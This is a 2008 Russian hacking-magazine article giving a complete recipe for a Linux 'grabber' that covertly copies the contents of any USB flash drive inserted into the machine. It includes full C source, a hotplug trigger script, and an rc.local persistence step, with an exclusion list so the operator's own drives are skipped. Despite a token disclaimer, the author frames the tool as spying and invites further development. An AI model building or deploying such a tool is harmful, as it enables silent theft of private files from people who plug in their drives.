Делаем пылесос из Linux

Скрытое копирование данных с флэшки

Сегодня мы будем делать из пингвина Тукса пылесос, только вместо пыли у нас будет информация, а именно - файлы с flash-накопителей, в народе просто флэшек. Сразу хочу предупредить, что копирование чужой информации без ведома владельца - это, по сути, воровство, поэтому эту статью не следует рассматривать как руководство к действию.

Я заинтересовался этой темой после прочтения статьи Криса Касперски "Предательский антивирус: грабим данные с flash-модулей и CD/DVD" (www.xakep.ru/post/40226/default.asp). В этой статье Крис описывает создание программы-граббера для Windows, маскирующегося под антивирус и под видом проверки носителя утягивающего данные с флэшки. Мы сделаем то же самое, но, во-первых, для "Линукса", а во-вторых, не будем скрываться под обёрткой антивируса (хотя я, конечно, всего лишь даю идею, дальнейшее её развитие зависит от читателя). Нам понадобятся: рабочая Linux (я использую Ubuntu 8.10, в других дистрибутивах какие-то моменты могут отличаться), компилятор gcc, руки (желательно прямые) и желание. Хочу сразу сказать, что мы не будем лезть в исходники системы, изменять стандартную утилиту mount или бить приятеля, пришедшего к тебе с флэшкой, коробкой с диском Linux, чтобы отобрать носитель.

Итак, сначала теория. Аналогом технологии Plug'n'Play Windows'а в Linux является hotplug. Hotplug - это набор скриптов, которые запускаются при подключении устройств к компьютеру. Нам эта штукенция интересна, прежде всего, наличием скрипта /proc/sys/kernel/hotplug, который запускается при подключении любого устройства. Мы будем использовать его для запуска нашего скрипта, который будет запускать граббер. К чему такие сложности? Дело в том, что скрипты из /proc/sys/kernel/hotplug исполняются сразу после подключения флэшки, однако системе требуется некоторое время, чтобы подмонтировать диск, поэтому из нашего скрипта граббер будет запускаться с небольшой задержкой.

Но как узнать, что была подключена именно флэшка? Для этого мы будем использовать утилиту hwinfo. Она выдает полную информацию обо всём железе, а при указании опций - только о конкретном наборе девайсов. Если мне не изменяет память, в стандартном комплекте Ubuntu этой утилиты нет, поэтому сначала надо её поставить:

$ sudo apt-get install hwinfo

После изучения man узнаем, что за выдачу информации о дисках отвечает ключ --disk. Посмотрим на вывод:

$ hwinfo --disk
31: SCSI 600.0: 10600 Disk
[Created at block.234]
UDI: /org/freedesktop/Hal/devices/storage_serial_Kingston_DataTraveler_2_0_5B7908865370_0_0
Unique ID: oE0T.7GV9h6c3JI0
Parent ID: 5YuN.JONY1UuwJT1
SysFS ID: /class/block/sdb
SysFS BusID: 6:0:0:0
SysFS Device Link: /devices/pci0000:00/0000:00:1d.7/usb7/7-6/7-6:1.0/host6/target6:0:0/6:0:0:0
Hardware Class: disk
Model: "Kingston DataTraveler 2.0"
Vendor: usb 0x13fe "Kingston"
Device: usb 0x1d00 "DataTraveler 2.0"
Revision: "PMAP"
Serial ID: "5B7908865370"
Driver: "usb-storage", "sd"
Driver Modules: "usb_storage"
Device File: /dev/sdb (/dev/sg2)
Device Files: /dev/sdb, /dev/disk/by-id/usb-Kingston_DataTraveler_2.0_5B7908865370-0:0, /dev/disk/by-path/pci-0000:00:1d.7-usb-0:6:1.0-scsi-0:0:0:0, /dev/block/8:16
Device Number: block 8:16-8:31 (char 21:2)
Features: Hotpluggable
Speed: 480 Mbps
Module Alias: "usb:v13FEp1D00d0100dc00dsc00dp00ic08isc06ip50"
Driver Info #0:
Driver Status: libusual is active
Driver Activation Cmd: "modprobe libusual"
Drive status: no medium
Config Status: cfg=new, avail=yes, need=no, active=unknown
Attached to: #15 (USB Controller)
32: IDE 200.0: 10600 Disk
[Created at block.234]
UDI: /org/freedesktop/Hal/devices/storage_serial_1ATA_ST9250827AS_5RG0QCKD
Unique ID: 3OOL.3bL9KT8oPs8
Parent ID: w7Y8.VU5GOIy1ynA
SysFS ID: /class/block/sda
SysFS BusID: 2:0:0:0
SysFS Device Link: /devices/pci0000:00/0000:00:1f.2/host2/target2:0:0/2:0:0:0
Hardware Class: disk
Model: "ST9250827AS"
Device: "ST9250827AS"
Revision: "3.AA"
Driver: "ahci", "sd"
Driver Modules: "ahci"
Device File: /dev/sda
Device Files: /dev/sda, /dev/disk/by-id/scsi-1ATA_ST9250827AS_5RG0QCKD, /dev/disk/by-id/ata-ST9250827AS_5RG0QCKD, /dev/disk/by-path/pci-0000:00:1f.2-scsi-0:0:0:0, /dev/block/8:0
Device Number: block 8:0-8:15
Drive status: no medium
Config Status: cfg=new, avail=yes, need=no, active=unknown
Attached to: #11 (SATA controller)

Ясно видно, что в системе присутствуют два диска: флэшка и SATA жёсткий диск. Внимательнее присмотревшись, замечаем, что мы можем однозначно определить тип диска ("usb_storage") и файл устройства (/dev/sdb). Итак, флэшку мы нашли. Осталось скопировать информацию. Можно, конечно, читать прямо из файла устройства, но мы поступим проще. Воспользуемся тем, что в десктопных Linux вообще и в Ubuntu, в частности, флэшки автоматически монтируются при подключении. Значит, во время запуска граббера в каталоге /media/ будет существовать каталог флэшки. Чтобы определить его имя, воспользуемся утилитой mount, которая при запуске без параметров выдаёт список смонтированных файловых систем:

$ mount
/dev/sda6 on / type ext3 (rw,relatime,errors=remount-ro)
tmpfs on /lib/init/rw type tmpfs (rw,nosuid,mode=0755)
/proc on /proc type proc (rw,noexec,nosuid,nodev)
sysfs on /sys type sysfs (rw,noexec,nosuid,nodev)
varrun on /var/run type tmpfs (rw,nosuid,mode=0755)
varlock on /var/lock type tmpfs (rw,noexec,nosuid,nodev,mode=1777)
udev on /dev type tmpfs (rw,mode=0755)
tmpfs on /dev/shm type tmpfs (rw,nosuid,nodev)
devpts on /dev/pts type devpts (rw,noexec,nosuid,gid=5,mode=620)
fusectl on /sys/fs/fuse/connections type fusectl (rw)
lrm on /lib/modules/2.6.27-9-generic/volatile type tmpfs (rw,mode=755)
/dev/sda5 on /media/DATA type fuseblk (rw,nosuid,nodev,allow_other,default_permissions,blksize=4096)
securityfs on /sys/kernel/security type securityfs (rw)
gvfs-fuse-daemon on /home/painkiller/.gvfs type fuse.gvfs-fuse-daemon (rw,nosuid,nodev,user=painkiller)
/dev/scd0 on /media/cdrom0 type udf (ro,nosuid,nodev,utf8,user=painkiller)
/dev/sdb1 on /media/KINGSTON type vfat (rw,nosuid,nodev,uhelper=hal,shortname=mixed,uid=1000,utf8,umask=077,flush)

Нас интересует последняя строчка, из которой мы видим, что флэшка смонтирована в каталог /media/KINGSTON. То, что это именно флэшка, мы видим по названию файла устройства /dev/sdb1.

Всё, сбор информации завершен, займёмся реализацией. Непосредственно копирование мы будем производить командой cp. Скопированные файлы будем класть в папку ~/grabbed. Также реализуем возможность задавать исключения, чтобы граббер не копировал файлы с твоей собственной флэшки. Для этого вернемся к выводу команды hwinfo -disk, а именно - к строчке:

Unique ID: oE0T.7GV9h6c3JI0

Это, как видно, уникальный номер устройства. Вот его и будем использовать для различия "своих" и "чужих". Итак, вот код:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>

#define UNIQ_ID_STR "Unique ID: "
#define DRIVER_MODULES_STR "Driver Modules: \"usb_storage\""
#define DEVICE_FILE_STR "Device File: "
#define TMP_FILE_NAME "fgtmp"
#define EXCLUSIONS_FILENAME "exclusions"

//load exclusions
char *load_excl(char *path)
{
 FILE *f;
 char *out;
 char buff[11];
 char *filename = malloc(strlen(path) + strlen(EXCLUSIONS_FILENAME) + 1);
 strcpy(filename, path);
 strcat(filename, EXCLUSIONS_FILENAME);
 out = NULL;
 f = fopen(filename, "r");
 if (!f)
  return NULL;
 while (!feof(f))
 {
  memset(buff, '\0', sizeof(buff));
  fgets(buff, 10, f);
  out = (char *) realloc(out, ((out == NULL) ? 0: strlen(out)) + strlen(buff));
  strcat(out, buff);
  strcat(out, "\0");
 }
 fclose(f);
 return out;
}

//cut path from full file name
char *getfilepath(char *filename)
{
 char *fn = strdup(filename);
 int i = strlen(fn)-1;
 for (; i >= 0; i-)
 {
  if (fn[i] == '/')
  {
   fn[i+1] = '\0';
   break;
  }
 }
 return fn;
}

int main(int argc, char** argv)
{
 FILE *f;
 char buff[255], *exclusions, *p, devicefilename[255], finalepath[255];
 int exclude = 0, savedevfile = 0;
 p = getfilepath(argv[0]);
 exclusions = load_excl(p);
 free(p);
 p = NULL;
 sprintf(buff, "hwinfo -disk > %s", TMP_FILE_NAME);
 system(buff);
 f = fopen(TMP_FILE_NAME, "r");
 if (!f)
 {
  printf("Error while opening file");
  return -1;
 }
 while (!feof(f))
 {
  memset(buff, '\0', sizeof(buff));
  fgets(buff, 254, f);
  if (((p = strstr(buff, UNIQ_ID_STR)) != NULL) &&
   strstr(exclusions, (p+strlen(UNIQ_ID_STR))))
  {
   exclude = 1;
   continue;
  }
  if (!savedevfile)
   savedevfile = ((strstr(buff, DRIVER_MODULES_STR) != NULL) && !exclude);
  if (((p = strstr(buff, DEVICE_FILE_STR)) != NULL) && savedevfile)
  {
   sscanf(p + strlen(DEVICE_FILE_STR), "%s", devicefilename);
   break;
  }
 }
 fclose(f);
 free(exclusions);
 sprintf(buff, "mount > %s", TMP_FILE_NAME);
 system(buff);
 f = fopen(TMP_FILE_NAME, "r");
 if (!f)
 {
  printf("Error while opening file");
  return -1;
 }
 while (!feof(f))
 {
  memset(buff, '\0', sizeof(buff));
  fgets(buff, 254, f);
  if ((p = strstr(buff, devicefilename)) != NULL)
  {
   sscanf(p + strlen(devicefilename) + 5,"%s", finalepath);
   strcat(finalepath, "/");
   break;
  }
 }
 fclose(f);
 unlink(TMP_FILE_NAME);
 if (strcmp(finalepath, ""))
 {
  sprintf(buff,"mkdir ~/grabbed/ && cp %s* ~/grabbed/", finalepath);
  system(buff);
 }
 return 0;
}

Теперь поясню некоторые моменты. Функция load_excl читает из файла список исключений, собирая путь к нему из параметра и жёстко заданного имени. Файл исключений представляет собой обычный текстовый файл, в котором на каждой строчке написан один Unique ID, т.е. в результате мы получаем указатель на строку со списком исключений, разделённых символом переноса строки. Назначение функции getfilepath понятно из названия. Функция main начинается (не считая объявления переменных) с получения пути к исполняемому файлу программы и чтения списка исключений (предполагается, что файл исключений лежит в одной папке с исполняемым файлом). Далее мы запускаем hwinfo - disk и перенаправляем её вывод во временный файл. Затем начинаем потрошить этот файл: читаем строку и проверяем, что мы прочитали - строку с уникальным номером, имя драйвера (напомню, что по нему мы определяем тип устройства) или строку с именем файла устройства. После всего этого в буфере devicefilename будет записано имя файла устройства. Далее проделываем все те же манипуляции, но для вывода команды mount, дабы получить точку монтирования флэшки. После чего выполняем команду копирования:

sprintf(buff,"mkdir ~/grabbed/ && cp %s* ~/grabbed/", finalepath);
system(buff);

Теперь осталось скомпилировать программу:

gcc -Wall -o flashgrabber flashgrabber.c

и, вставив флэшку с какими-нибудь файлами, запустить. Заработало? Хорошо. Не заработало? Ищите опечатки в коде.

Однако ручной запуск нас не устраивает, поэтому возвращаемся к ранее составленному плану. Сначала напишем скрипт, который после небольшой паузы будет запускать граббер:

$ sudo nano /usr/sbin/fg.sh
[sudo] password for painkiller:
#!/bin/bash
sleep 10
~/flashgrabber_src/flashgrabber

Естественно, сохраняем файл: CTRL+O, ENTER и выходим: CTRL+X. Теперь делаем из обычного файла скрипт :) :

$ sudo chmod +x /usr/sbin/fg.sh

Теперь сообщаем системе, что этот скрипт необходимо запускать каждый раз, когда к компьютеру подключается устройство:

$ sudo nano /proc/sys/kernel/hotplug
[sudo] password for painkiller:
/usr/sbin/fg.sh

Сохраняем, выходим. Всё, осталось лишь проверить работу: вставляем флэшку ещё раз и ищем в домашнем каталоге папку grubbed.

Однако существует небольшая проблема. Дело в том, что Ubuntu любит очищать файл /proc/sys/kernel/hotplug при запуске системы, то есть мы должны обновлять запись в файле при каждой загрузке. Сделать это можно так:

$ sudo nano /usr/sbin/refreshhp.sh
[sudo] password for painkiller:
#!/bin/bash
echo "/usr/sbin/fg.sh" > /proc/sys/kernel/hotplug
CTRL-O ENTER CTRL-X
$ sudo chmod +x /usr/sbin/refreshhp.sh
$ sudo nano /etc/rc.local

В файле /etc/rc.local могут быть вызовы других скриптов. Вызов нашего скрипта можно вставить в любое место файла до строки exit 0 (т.к. скрипт лежит в папке /usr/sbin/, полный путь можно не писать):

...
refreshhp.sh
...
exit 0

Таким вот нехитрым образом мы превратили домашнего пингвина в шпиона. Конечно, можно придумать и мирное применение нашей задумке - например, синхронизация файлов при каждом подключении личной флэшки, но дальнейшее развитие технологии целиком зависит от читателя - я всего лишь указал путь. А что будет в конце этого пути - решать вам.

PainKiller,
SASecurity gr.
q@sa-sec.org

Версия для печатиВерсия для печати

Номер: 

47 за 2008 год

Рубрика: 

Software
Заметили ошибку? Выделите ее мышкой и нажмите Ctrl+Enter!